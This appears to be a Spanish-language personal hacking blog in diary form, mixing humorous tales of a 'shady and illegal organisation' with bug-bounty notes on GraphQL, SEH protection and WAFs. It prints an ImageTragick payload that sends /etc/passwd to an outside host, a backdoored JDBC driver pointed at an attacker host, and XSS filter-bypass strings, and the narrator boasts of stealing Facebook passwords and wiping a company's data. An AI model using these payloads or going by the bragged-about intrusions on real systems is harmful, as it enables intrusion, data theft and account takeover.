Jueves, 8 de Noviembre de 2018: Seguiré mis sueños e ilusiones

Querido Diario…

H0y fuimos a comer para despedirnos, si los países se encuentran en posición, las estrellas se alinean y los sacrificios son escuchados; tal vez hoy fue su último día en Mexicali… en México.

- ¿Y ahora qué será de ti?, te va a parar la policía, vas a chocar, te van a mal influenciar... - dijo de forma bastante seria
- Si... de hecho, necesito una conciencia; tal vez tome una nueva. Hum... hum... hum... bueno ya pensaré en alguna. ¿Sabes?, he estado pensando
- ¿En qué? - dijo mientras le tomaba una foto a la comida y la enviaba a sus inquisidores por mensaje
- Creo que debo de hacerte caso... es el momento de cambiar, de aprovechar lo que el poderoso Quetzalcoatl me ofrece, es el momento de seguir mis sueños. - justo en ese momento recordé a Lalo y Lalo2

- ¿Ah si?, ¿qué vas a ser?, ¿dejarás la vida turbia e ilegal o regresarás a tener un empleo normal? - me miró aun escribiendo por el celular, sin imaginar lo que venía por respuesta.
- Si... me jubilo, adios la vida turbia e ilegal; voy a ir la próxima semana a despedir. Es el fin, se acabó... no más... es tiempo de tener una vida normal - se le abrieron los ojos, dejó de escribir... por suerte, no tenía té en la boca o lo hubiese escupido.

- No te creo - se rió - no, no... me intentas, ¿cómo dices?, ¿chamaquear?
- No, lo digo en serio... es tiempo de mirar al futuro, de hacer cambios, cambios importantes. 
- ¿Qué harás?, ¿por qué ahora?... noooo.. quiero enterarme - empezó a creerlo
- Es una sorpresa, lo tengo que anunciar en grande, frente a todos; además... aunque se que me van a matar, tengo que mostrar mi agradecimiento a toda la H. Organización Turbia e Ilegal... los llevaré - me puse melancólico - siempre en mi corazón
- Pero, ¿qué harás?, ¿de qué vivirás?
- Ouuu... ya verás, tengo tantas opciones... más o menos me ofrecen un empleo por día.. creo que... tengo de donde elegir.

- Decenas... no... tal vez cientos de personas, entraran en shock con el anuncio que haré; y ya sé en donde lo hará... en el próximo NoTrustSex.. digo Sec: https://www.meetup.com/es/NoTrustSec/events/256251030/ ... hum... lástima, estarás al otro lado del mundo para enterarte
- Grrrr...

Querido Diario… va a ser un notición… ¿qué será lo que tengo que decir?, bueno… hay que esperar una semana para saberlo… les espero en el NoTrustSec de la Ciudad de México, en donde contaré algo, que volverá loca a la gente 😛

Querido Diario…

Chan, chan, charán…

Martes, 16 de Octubre de 2018: Un criminal solitario

Querido Diario…

Iba tranquilamente manejando sobre Av. Justo Sierra, yendo hacia Baires para comer, cuando de pronto me llegó un mensaje.

Llevaba tiempo que no teníamos una misión, así que inmediatamente me coordine con el equipo para avanzar, lo más pronto posible. Marqué a la persona de mayor confianza.

- Bueno
- ¡Joven!
- ¿Qué cuenta joven?
- Pues nada, aquí con un encarguito
- ¿Qué clase de encarguito? - le cambió el tono de voz, a uno más serio
- Mom me pidió ir a dar unos tehuacanazos
- ¡Huuuuy joven!, creo que eso no se va a poder... pero dame una semana y lo vemos - y me colgó

Hum.. diablos, el elemento más turbio y confiable de esta H. Organización Turbia e Ilegal no estaba disponible; pero al menos espero me traiga un recuerdito. Entonces, le marqué a la segunda opción.

- Bueno - se escuchaba una voz grave y cansada, como de alguien que lleva varios días sin dormir
- ¡Joven!
- ¿Qué pasó?
- ¿Qué haces? - dije yo, intentando ocultar el verdadero motivo de mi llamada
- Viendo el partido
- ¿Cual partido?
- Pues el partido
- Hum.. pero ¿partido de que o qué?
- Hum... ¿de futbol? - algo me decía que no me estaba diciendo la verdad
- ¿En lunes?
- ¿No hay partido los lunes?
- Creo que no
- Ouuuu... - lo había atrapado
- Estas cuidando de la bebé, ¿cierto?
- Si joven, llevó una semana sin dormir y mis tarjetas están en negativo - dijo casi llorando
- Hum... joven, algo me dice que esto no va a funcionar. Básicamente ya no puedo mandarte a ninguna misión turbia e ilegal, me sentiría mal si esa niña se queda huérfana
- ¿Hay una misión turbia e ilegal?, ¿hay bono extra?
- Joven - me pusé serio
- ¿Si?
- Nos vemos en 18 años, joven
- Demonios... mi carrera criminal ha durado poco - y le colgué

Bueno, siempre hay una tercera opción

- Bueno
- ¿Qué tranza? - me respondió con ese barrio iztapalapense que brinda confianza en este tipo de escenarios
- ¡Janey!, ¿qué estas haciendo?
- Noviando con El Chino
- Ouu... 
- ¿Necesitabas algo?
- Pozolear a un criminal
- ¿No podemos esperar para mañana? - me dijo, plenamente interesada
- No
- Ouuu.. marcarle a Lalito
- No puede
- ¿Al Becario?
- Tampoco
- Hum... seguro tú podrás resolverlo, siempre puedes. Nos vemos Belindo - y me colgó

Hum… este equipo no está resultando. Así que miré a Shellcode, me miro, nos miramos.. y determiné que yo mismo haría la misión turbia e ilegal, al final, por eso soy el lugarteniente de esta H. Organización Turbia e Ilegal, yo podía hacerlo sólo. Y me puse a trabajar en ello.

Ouu… bueno, tal vez mi única compañera no me acompañaría en la misión.

Me senté frente a la computadora, la miré fijamente… y me di cuenta que no tenía la menor idea de que hacer; así que me di cuenta que en realidad ya estoy muy viejo, y sin equipo no soy nada. Lo único que se me ocurrió es utilizar las únicas técnicas que conozco: chamaquear a alguien.

Por suerte me di cuenta de alguien que trabajaba en ese sitio y que me iba a ser de utilidad.

- ¿Y qué haces allí?
- Ahhh pues... no mucho, me encargo como de todo - eso pasa cuando se es la sobrina del dueño - ¿y tú que haces?
- Nada, aquí aburrido... vamos a comer
- Ok, pero me esperas a que terminé unas cosas
- Si, claro... salgo para allá y de allí nos vamos

Llegué a su oficina y rápidamente empecé a explorar la red. No es una empresa muy grande, así que me encontré ShareEnum que tenían directorios compartidos para varías cosas, incluyendo un “repositorio” de librerías de los programadores. Vi que hacían uso de aplicaciones en Java y las conectaban a los servidores de bases de datos haciendo uso de JDBC, así que, basándome en un paper de un researcher llamado Airman, modifiqué los el driver así:

import java.sql.*;

public class JDBCBackdoorTest {
public static void main(String[] argsStrings){
try{
Connection conn = DriverManager.getConnection("jdbc:blah://bigshot.beer:31337/");
} catch(Exception e) {
e.printStackTrace();
}
}
}

Listo, lo dejé allí y me fui a comer con Priscilla.

Más tarde al llegar a casa me di cuenta que al menos tres desarrolladores habían utilizado el driver para conectarse. Me puse los audífonos y puse la play list especial de hackeo: https://open.spotify.com/playlist/0EfZGNw0JHvoCkNfnMDYAU

¿Qué es lo que hace el driver?, bueno… simplemente ejecuta comandos en la consola, con eso obtuve acceso remoto a la red de la súper empresa segura. Mom no quería más que destruir todo, así que…

Sólo antes de borrar todo y colapsar a todos, quería probar el CVE-2016-3714:

push graphic-context 
viewbox 0 0 640 480 
fill 'url(localhost"|curl "`curl MyHost/i/?imagewarn --data @/etc/passwd`)' 
pop graphic-context

Y…

Ya después de que deje de jugar, entonces si, borré todo…

Querido Diario…

Regresé a casa y me puse a trabajar en el primer assessment que me asignaron, a pesar de que mi profile está pensado para aplicaciones, me dieron un network security assessment 😛 no saqué nada… así que, necesitaba un poco de despejar la mente para poder seguir trabajando.

- ¿Cómo te fue? - me preguntó mientras me pasaba una tarta de pistache y ella se quedaba con la de chocolate; de las que venden en Raphael; frente al Carl's Jr
- Bien, cansado... pero creo que bien; se ven esperanzas
- ¿Qué es eso de [...]? - me preguntó, yo le había comentado en al semana que estaba muy emocionado por eso
- Es un programa privado de bug bounty.... lo de las recompensas
- Te notas muy feliz por eso
- Si - dije pensando - me gusta mucho, me hace sentir que aun sirvo para algo
- ¿No extrañas trabajar en eso?
- Si, moriría de ganas de poder hacerlo nuevamente
- ¿Y luego? - mi miró con esa mirada que tiene de "hazlo"
- Hum... mejor retirarse en la cima - evadí la pregunta
- ¿Qué sientes? - me preguntó. Perfectamente sabía a que se refería
- Duele
- ¿Qué tanto?
- Mucho... duele el pecho, duele todo... es como algo que presiona; duele no poder dar un beso, duelen los brazos al no poder abrazarle... duele no poder siquiera escuchar su risa o su voz
- Hum... 
- Hey, basta.. cuéntame... ¿cómo te fue hoy?

- Hum... mejor no, ¿tienes prisa?, ¿vamos al cine?. Vamos a ver Venom, aunque no te gusten las películas de súper héroes
- Vale,... ¡vamos!, pero pediremos nachos; con muchos jalapeños y Pepsi, porque la Coca-cola, yiuck...

Nunca entenderé porque a la gente le gustan las películas de súper héroes; me parecen muy aburridas y predecibles.

- ¿Cual es tu película favorita? - me preguntó mientras íbamos de regreso al coche
- Moulin Rouge - dije
- ¿Por qué?
- Hum... no lo sé; me gusta la historia. Un tiempo le vi tanto que hasta los diálogos me aprendí

- Eres raro - dijo de pronto
- Hum... no sé como tomar eso - le respondí arremendandole
- Nos vemos terrorista cibernético; intenta dormir
- Trataré...

Me quedé fuera de la casa, en un columpió, viendo como Shellcode se peleaba con la manguera del agua… y pensando en lo que tanto me repitieron la semana pasada. Pensé y pensé… y al final recordé que… lo mejor es no planear, sino sólo actuar. Y entonces, lo decidí… lo voy a hacer.

 

Miércoles, 5 de Septiembre de 2018: Lo lindo de lo simple

Querido Diario…

Haya por los años del quién sabe cuando que no recuerdo, Microsoft, hizo una modificación interesante a la forma en que se venía llamado a los Exceptions Handlers; en Windows XP SP1.

Los Exception Handlers son una cadena de “objetos” (en realidad no son objetos, pero llevo todo el día intentado recordar como se llaman exactamente… creo que estructuras, pero no recuerdo, me quedé dormido en esa clase xD), en donde se tienen dos elementos, uno es un puntero al siguiente Exception Handler, y otro es el puntero hacia la acción que va a ejecutar ese Exception Handler. Lo que inicialmente hacían los hackers para explotar algún fallo que encontraban, era modificar el salto del EIP disparando un Exception Handler, y a su vez el Exception Handler, te mandaba hacia una dirección modificada. Para hacer eso, se tenía que ingresar directamente a la dirección de memoria del Exception Handler.

Lo que hizo Microsoft para evitar fue esto, es extremadamente sencillo. Cada que ntdll.dll dispará el SEH Chain (el inicio de la cadena de Exception Handlers) se “XORean” todas las direcciones, de esa forma antes de usarse tienen un 0x00000000, es decir.. se borra todo y se inutilizan. Y listo, así de sencillo no es posible alocar una shellcode allí. Después en Windows 2003 server implementaron el mismo cambio.

Microsoft… siempre a la vanguardia en seguridad, muy por encima de todos los S.O.’s…. (escuche un par de linuxeros rabiar y llorar por allí coff.. coff… esa cosa que aun tiene BOF’s es 2018 😛 )

Lo interesante de esto… es que es muy limpio y muy sencillo, y totalmente válido hasta la fecha para evitar la alocación directa de algún payload en una dirección de memoria. Lo que evita un clásico pop ret, ret, ret o un pop %eax o un mov directo, etc..

Querido Diario…

Siempre me ha encantado los cíclidos por su temperamento. Adoraba los Oscares, y siempre quise un FH…

Viernes, 31 de Octubre de 2018: Larry Lau

Querido Diario…

Hoy lanzaron un missions op en Synack para un assessment, pero no alcancé ninguna misión. Así que me quedé sin bounties. Por suerte si gané el que encontré estaba semana de Graphql.

Iré a la reunión mensual de Mexicali Open Source… aunque empieza hasta las 7pm y apenas son las 3pm… los días en el desierto siempre se pasan muy lento…

Intenté instalar un Burp Suite crackeado, porque venció la licencia que me regalaron de HackerOne y no funcionó.

Querido Diario… he sido seleccionado, o más bien autorizado; viajaré la siguiente semana a una misión turbia e ilegal a Canadá… la fecha la escogí a propósito. Iré con mi amigo Dario… Dario tiene fama de ir acompañado y siempre volver sólo; yo tengo fama de siempre volver.

Hoy recordé el día en que, hace ya mucho. platicábamos sobre los tatuajes; porque siempre tenía un dibujo que se había hecho en algún sitio. Y jamás le pude explicar el significado del Código QR que tengo, que significa un “puedo imprimirle al mundo entero que te amo”. Y lo recordé por este vídeo:

… que mala persona fui; pero no se puede mentir todo el tiempo… sobre todo no se puede mentir a uno mismo todo el tiempo. Es lo más difícil.

¿Cuál de las dos famas hará efecto una sobre la otra?, ¿la del artillero o la del de seguridad informática?.

Martes, 28 de Agosto de 2018: Chou me, baby!

Querido Diario…

Ya que no pude sacar el bounty por “Authorization bypass” hoy he estado trabajando en otra cosa que parece que tuvo mayor fruto. Y de nuevo es como volver a las viejas tecnologías. En este caso JSON. Cuando recién salió Angular JS todo era horrible, ya no se podía soltar solo Acunetix a lo loco y sacar un montón de juicy bugs, ahora todo cambiaba. De hecho la primer vez que me encontré con JSON fue revisando unas aplicaciones muy raras cuando vivía en un pueblo llamado Aguascalientes.

Pues bien, GraphQL no usa exactamente JSON, pero si envía un chorro (un shoooorro) de información que podría resultado medio sensible. Así que sólo hay que configurar el filtro de Burp Suite para poder cachar cosas como usuarios, sesiones, API keys, etc.

Y coff… coff…

Ouuuu si, te recomiendo que revises la documentación de la API que estes consumiendo (en este caso si es un API), porque así puedes saber el tipo de filtros que debes de configurar en Burp Suite.

Espero ahora si pegue, porque ya necesito algo de dinero, después de que me cobraron el deducible del seguro del Mustang mi tarjeta se ve muy, muy, MUY fea.

Querido Diario, quiero cambiarle de alimento a Shellcode, creo que le falta algo de peso y altura, la veo muy chaparrita. ¿Dónde puedo conseguir en Mexicali este alimento?

 

… creo que todo mundo cree que soy una mala persona.

Lunes 27 de Agosto de 2018: Una limosnita por favor, un pesito pa’ un taco

Querido Diario…

Hace un tiempo, en la reunión mensual del Mexicali Open Source Group; conocí GraphQL, que es un proyecto que desarrollo Facebook para poder hacer requests de un solo golpe, que con REST no es posible de hacer. Para eso envían las requests en una estructura definida coff.. coff… en mi opinión muy parecido a lo que se hacía con los WSDL, pero bueno 😛 estamos en el tiempo de las tecnologías hipster.

Básicamente GraphQL está aun muy joven, lo que hace que nuevamente las vulnerabilidades que ya se habían visto hace mucho, vuelvan a aparecer. ¿Y cual es la vulnerabilidad más común que se reportaba en los web services, cuando WSDL o REST?. Así es, problemas en la autorización.

Una request básica usando GraphQL se ve así (ahhh si, yo la ordené para que se viese bonita, porque si tú la sacas directo del HTTP Proxy vas a ver todo en una línea y no lo vas a ver bonito, pero si va así):

POST /accounts/REMOVED/graphql HTTP/1.1

{
  currentUser {
    email
    currentAccount {
      name
      licenseKey
      capabilities {
        name
      }
      apmSubscription: subscription(productLine: "apm") {
        productLine
      }
      infraSubscription: subscription(productLine: "infrastructure") {
        trialEligibility {
          state
        }
        trial {
          endTime
        }
      }
    }
  }
}

Y el response se ve así:

{"data":{"currentUser":{"email":"redacted@gmail.com","currentAccount":{"name":"This is the account name", "licenseKey":"95d24ccefada021a6REDACTED","infraSubscription":{"trialEligibility":{"state":false},"trial":null},"capabilities":[huge list of capabilities],”apmSubscription":{"productLine":"apm"}}}}}

Bueno, bueno.. puede que no te hayas dado cuenta, pero esto que se ve acá es básicamente el response de un administrador; ¡un administrador!, y no un usuario normal. ¿Qué cómo lo sé?, pues porque sé que información da un usuario normal y un administrador, ¿qué como tú lo sabes?… pues he allí el problema.

No lo puedes saber a menos que te encuentres haciendo un assessment tipo DiD o Gray Box con más información; porque sino pues básicamente ves mucha información, pero nada te va a hacer sentido.

Y así… así perdí hoy un bounty de $300 dlls, porque soy incapaz de evidenciar que esta información es sensible, sin que el desarrollar me confirmé un test case de mi request y response.

¡Tecnologías hispter del mal!

Querido Diario… #cachanillas grr.. u.u … 😛

Me duele todo… me siento como si hubiese dormido tre… ouuu… dormí tres semanas. Ahora todo tiene sentido.

En el hospital escuché muchas veces está canción… y me gusta mucho; la tengo en la cabeza todo el tiempo.

No estoy muy seguro si en verdad pasó, pero recuerdo que a las enfermeras les hacía “brrr… brrr…” 😛

Lunes, 23 de Julio de 2018: Una imagen vale más que 1000 GET’s

Querido Diario…

Todo esperamos ese tipo de fallos donde aun todo se manda en un GET, o un POST en donde podamos modificar algún parámetro para inyectar algo. Pero, ¿y si con una imagen lo mandamos a llamar?.

¿Qué es una imagen?, bueno.. una imagen es un <img src=”http://www.bigshot.beer/cosa.png”>, pero si ponemos un proxy, ¿qué nos damos cuenta que es una imagen?.

¿Entonces que pasa si haces algo como <img src=”http://www.bigshot.beer/tevoyajakiar.php/”>…

Querido Diario.. estoy bastante aburrido estos días.

[Inserte aquí emoticón de cama]

Jueves, 23 de Abril de 2018: Aburrimiento

Querido Diario…

El día ha estado muy extraño… como si de pronto o se hubiesen olvidado de mi, o si me tuviesen en algún tipo de vacaciones forzadas. ¿Has visto la imagen de una rana René que ve hacia una ventana?, bueno.. así que siento hoy.

Como no tenía algo que hacer y había que alimentarme… hice ceviche.

Pero no me llené y entonces terminé comiendo lo que casi como todos los días; yo creo que me voy a morir con está alimentación.

Después de eso volví a revisar mi correo, mi teléfono… nada, nada de nada.. ¡nada!. Seguí olvidado.

Así que me puse a jugar un poco adivinanzas.

… pero tampoco me entretuvo. El problema de una vida turbia e ilegal, es que vives tantas emociones en un día, que cuando no las hay, se torna aburrida. Así que entonces decidí que si nadie me hace caso era tiempo de prepararme para posibles cosas que viniesen en un futuro.

El problema, es que si no recuerdas, el dinero de tres viajes a Cuba se me fue en una muchacha de ojos azules llamada Karen que me estafó. Así que no podía prepararme yo mismo y tuve que recurrir a los propios recursos de esta H. Organización Turbia e Ilegal.

Después que me di cuenta que el Becario con Esteroides me iba a matar, y dado que Mom seguía sin comunicarse conmigo para algo, decidí buscar mis propias emociones fuertes. Como asaltar un banco y secuestrar a una rehén para… en realidad no tenía para que, sólo para no aburrirme.

Pero al final determiné que asaltar un banco no era buena cuando sólo tienes una rayita de gasolina para toda la semana. Así que decidí que mejor no. Y me fui a un área en donde tengo más conocimientos, fraude fiscal.

Y si… hacer un poco de fraude fiscal me hizo sentirme mejor. Pero como aun seguía un poco aburrido, nada como intentar meterte a algún sitio prohibido.

Lo cual tampoco conseguí y entonces de plano ya no supe que hacer. Había intentado todo para no volverme loco y nada…

Así que al final me puse a bañar a Shellcode y nos pusimos a ver Doctor Who. Creo que definitivamente estoy aburrido.

Querido Diario… gasté el dinero de la gasolina en comprar un monito del Primer Doctor de Doctor Who por eBay.

Culparé a Dania Pelo de Gomita del Oxxo, que en vez de hacerme recapacitar; me prestó su PBOX para que llegase aun más rápido a EEUU.

… si, hoy ha sido un día aburrido; dentro de casa y hecho bolita entre las cobijas.

Oh cierto, casi se me olvida… Cachanillo organizó en esta ocasión el OWASP Chapter Meeting, será en la UABC este jueves a las 7pm, en el aula magna.

Bueno… iré con Shellcode por un helado y a gastar lo que nos queda de gasolina.. a ella le gusta viajar en coche; le gusta pegar la lengua a los vidrios 😛

Domingo, 31 de Diciembre de 2017: El gran golpe

Querido Diario…

Si te pones a leer las historias de grandes golpes relacionados al hacking del pasado, siempre todos se realizaron en fechas como Navidad, Años Nuevo, Black Friday… el Día Internacional de Belinda. Los RR’s habían elegido Año Nuevo.

Compré mi boleto de avión para Mexicali, en caso de que las cosas que pusiesen feas preferí estar cerca de la frontera para huir. Créeme, no querrás pasar por una cárcel mexicana. En EEUU si tienes algunos amigos es fácil mantenerte oculto, es un país mucho más corrupto que México, y aun en el caso de ser detenido, por su ley de seguridad interior sería encarcelado en EEUU, y eso me garantiza una vida decentemente lujosa y mafiosa.

Antes de tomar el avión fui a desayunar con una amiga, me hablo para pedirme un favor; y bueno… dado que puede que no sobreviva a este 2017, decidí desayunar con ella para poderle ayudar. Me contó una historia un tanto personal, que terminó en un “puedes investigar sobre él, si es malo no me digas que es, sólo dime que me aleje de él; si es algo bueno, entonces todo bien”…

Querido Diario.. #viejastodassoniguales… durante mis días de hambre; me dediqué a sacar contraseñas de Facebook por dinero; cobraba poco, unos $100 por contraseña, pero que eran suficientes para poder comprar atún o avena; eso me mantuvo sin morir de hambre mientras conseguía un empleo en Mexicali. Yo creo que conseguí unas 30 cuentas de Facebook para amigas, conocidas, amigas de la amiga y en el 100% de los casos, ellas tenían razón; él las estaba engañando o peor aun, ellas ni siquiera se habían dado cuenta que las estaban engañando… pero lo curioso es que, de esos 100% de casos, ellas terminaban de nuevo con el mismo tipo o_O … fue algo que discutí con dos de mis más cercanos asesores de confianza.

Al final tuve que acceder, pero eso sería después; primero tenía que resolver mi problema actual.

Antes de tomar el vuelo pensé en ir a ver a Mylena, de cierta forma me sentía un poco mal. Ella no tenía la culpa directamente, había sido víctima de unos tipos que sólo buscaron aprovecharse de su objetivo de salir de su país, aunque eso no la disculpa por involucrarme a mi. Así que al final determiné que era una mala persona por haberlo hecho y preferí no verle. De todas formas ya estaba en México, aun cuando fuese detenida, estaría mejor que en Rusia.

Me despedí y me dirigí al aeropuerto, el bueno Y752… ese número lo tengo siempre presente. Abordé e intenté quedarme dormido, aunque no pude. Así que me puse a leer un libro que me regalo mi amigo Bytevick: Ernest Hemingway on writing. Es la primer vez que leo un libro en inglés que no es técnico, y me estaba costando mucho trabajo.

Llegué a Mexicali en el vuelo de la mañana, es raro estar a dos horas de diferencia. Hace mucho me parecía algo normal, ahora me es más extraño.

En los últimos meses han remodelado mucho el aeropuerto, pero jamás han puesto otro cajero que no sea el de HSBC. Tomé un taxi y fui a casa. El taxi tomo la calle, pasó por las plazas nuevas, donde antes no había nada, CETYS, el Starbucks donde usualmente trabajo, el Walmart y siguió de frente. Al llegar lo único que quería era tirarme en la cama y quedarme dormido para no pasar el año nuevo, pero había que trabajar.

De cierta forma, mi trabajo era el sencillo. Sólo generar un punto de distracción, ser trazado y esperar a que la policía viniese por mi, me metiese unos tehuacanazos y me llevase preso mientras los RR’s huían con todo el dinero hacia algún otro país para hacer lo mismo, pero aun así tenía su chiste. Usualmente los días como hoy, los SOC’s están acostumbrados a recibir montones de ataques comunes, así que debía de ser un ataque lo suficientemente bueno como para realmente generar la distracción.

Volví a revisar las configuraciones de Acunetix, todo parecía ruidoso, me conecté a mi VPN usando Tunnelblick; es un cliente de VPN que me gusta mucho, funciona en OS X y es compatible con archivos de OpenVPN. Lance un escaneo de prueba con las opciones por defecto, incluyendo la modificación al user-agent que incluye la palabra “Acunetix” para su detección.

Así, por ejemplo si tenemos un user-agent de IE, tipo:

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)

Al ejecutar el escaneo tendríamos algo así:

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0) - Acunetix Web Scanner

Eso puede ser utilizado para generar alguna excepción en un IPS y dejar pasar las conexiones para verificar la seguridad de un sitio, o para detectar cuando son escaneos automatizados y generar una política para ellos. En mi caso sólo quería verificar el comportamiento, y me encontré algo muy malo en el response.

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Amz-Date: 20130813T150211Z
Host: ec2.amazonaws.com
Authorization: AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20130813/us-east-1/ec2/aws4_request, SignedHeaders=content-type;host;x-amz-date, Signature=ced6826de92d2bdeed8f846f0bf508e8559e98e4b0194b84example54174deb456c

http://ec2.amazonaws.com/?Action=RunInstances
ImageId=ami-2bb65342
&MaxCount=3
&MinCount=1
&Monitoring.Enabled=true
&Placement.AvailabilityZone=us-east-1a
&Version=2016-11-15

Había estado tan ocupado pensando en como no morir de una forma tan fea, que no había verificado en donde estaba la infraestructura de los portales. Y lo mismo pasaba para ambos.

Cruce los dedos mientras tecleaba cada letra usando Burp Suite, a pesar del calor que hace; incluso en invierno, mis manos se habían puesto heladas mientras lo hacia:

“=””’><details open=“”>

La salida:

<span>”=””’&gt;&lt;details open=””&gt; (0)</span>

No era necesario probar más… sabía lo que tenía en frente. Mi escaneo iba a ser bloqueado en segundos sin causar la distracción, eso atraería las miradas hacia el monitoreo de las bases de datos, modificación de tablas de los core bancarios y sabrían que estaban vaciando los cajeros. Esto estaba mal.

Si lograba sacar, aunque fuese un pop-up tendría idea de como estaban configuradas las políticas, así que no me quedó más que probar, y probar… y probar:

“=””’></><script></script><svg onload”=”alert(1)>

<svg onload”=”… (1)> </span><a href=” “=”” class=”” rel=”1"></svg>

Encendí el aire acondicionado, no sabía si tenía calor o tenía frío. Sólo sentía dolor de cabeza y muchas ganas de vomitar.

“=””’></><script></script><svg onload”=””alertonload=alert(1)””>

<span>”=””’&gt;<svg onload”=”… (1)” “=””> </svg></span>

¡Oh diablos!

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt(1)>

onload=”prompt</span”><a href=”” class=”” rel=”0"></a></svg></span>

En este momento fui a mi buró, saqué mi pasaporte, visa; verifiqué los precios del Bitcoin, ETH y Ripple; junté todo mi dinero en efectivo. Y le escribí un mensaje a Mylena para decirle que tal vez debía de salir corriendo de donde estuviese, porque el plan había fallado antes de comenzar.

Intenté advertirle que básicamente iba a recibir unos tehuacanazos, pocito y no volvería a comer un taco al pastor; pero creo que ella no pudo darse cuenta que ya no me encontraba en el DF y menos que había fallado en la misión. Así que terminé con un “ahhh, todo bajo control, mañana nos vemos para celebrar”.

Por alguna razón la gente confía mucho en mi, nunca he entendido eso. El punto era… ambos íbamos a morir, y ella iba a ser la primera.

Salí a caminar para despejarme y para comer algo; caminé sobre toda Avenida Cuahutemoc y después por Benito Juárez; hasta el Baires. El Baires es mi restaurante favorito en todo Mexicali; venden cortes a precio de regalo con bastante buenos, lo atiende un señor argentino; y Miguel, el hostess, ya me conoce. De hecho ya nunca me dan la carta o me preguntan que comeré, siempre que llegó a los pocos minutos me sirven una copa de vino y me dice:

- Ca... en unos minutos te traemos tu comida.

Siempre un Rib Eye término inglés con mucha pimienta y una papa al horno, también con mucha pimienta. Igual apenas termino de comer y me traen un carajillo como digestivo. Mexicali en tan chico que prácticamente en todos los sitios donde usualmente como me reconocen y me atienden de la misma forma, tengo muchas alcaldías en Foursquare así.

El fin estaba cerca, y en vez de preocuparme, estaba allí tranquilamente comiendo… la verdad es que… Mylena no me importa mucho, apenas la conozco; y esta muy fea, creo que me han timado con las rusas como me timaron con las colombianas. Por otra parte, yo llevaba bastante tiempo buscando morir, así que creo que todo estaba resuelto. Aun así no podía quitarme de la cabeza ese WAF, diablos…. era casi un reto; y de pronto algo apareció en mi mente.

Terminé de comer…. bueno, no; comí lentamente disfrutando cada bocado.

Y entonces si… salí corriendo, llegué a casa, crucé hasta la computadora y escribí:

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`1`>

<svg onload”…=”” (1)””=”” onload=”prompt`1`”> </svg>

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`document.domain`>

<svg onload”…=”” (1)””=”” onload=”prompt`document.domain`”> </svg>

“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=setInterval`alert\x28document.domain\x29`

Oh Santo Chucho Cristo Redentor…

Querido Diario…¿alguna vez has sentido esa sensación de triunfo?, ¿esa sensación de saberte imbatible?, ¿capaz de ganarle a cualquiera?, ¿de hacer cualquier cosa?… ¿esa sensación embriagante que motivaba al verdadero hacking de saberte mejor que los demás?… es increíble sentir eso… saber que le ganaste a un programador que pasó años en la universidad, certificaciones, pasó horas desarrollando… y tú, tú eres mejor que él. Esa sensación de saber que hiciste lo que nadie más pudo hacer… esa sensación de simplemente saber que eres mejor, EL mejor.

Hice los cambios en Acunetix con ese string y entonces esperé… y justo a las 11pm hora del DF, empezó todo… y di click en [Start].

Desde el año pasado no he vuelto a celebrar un año nuevo; así que en esta ocasión simplemente seguí leyendo mi libro. Unas horas más tarde recibí una llamada de Mylena, me preguntó si quería pasar el año nuevo con ella.

- Estaré con mi familia - mentí

Y una hora más tarde, me envió una fotografía:

Querido diario… hum… ¡bah!

Caminé hasta el parque, me senté en una banca… y deseé haber podido caminar unas cuantas calles más.